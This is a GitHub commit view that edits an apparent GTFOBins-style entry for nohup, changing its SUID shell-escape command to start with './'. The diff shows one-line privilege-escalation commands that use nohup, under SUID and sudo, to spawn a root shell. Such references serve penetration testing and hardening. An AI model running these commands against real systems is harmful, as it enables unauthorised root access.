Add ./ to SUID category in nohup.mp

This commit is contained in:
Nick Blekherman 2021-01-18 09:36:35 +02:00 committed by GitHub
parent 561a5b2c9a
commit b43f418ddb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -8,7 +8,7 @@ functions:
nohup "$COMMAND" nohup "$COMMAND"
cat nohup.out cat nohup.out
suid: suid:
- code: nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)" - code: ./nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
sudo: sudo:
- code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)" - code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
--- ---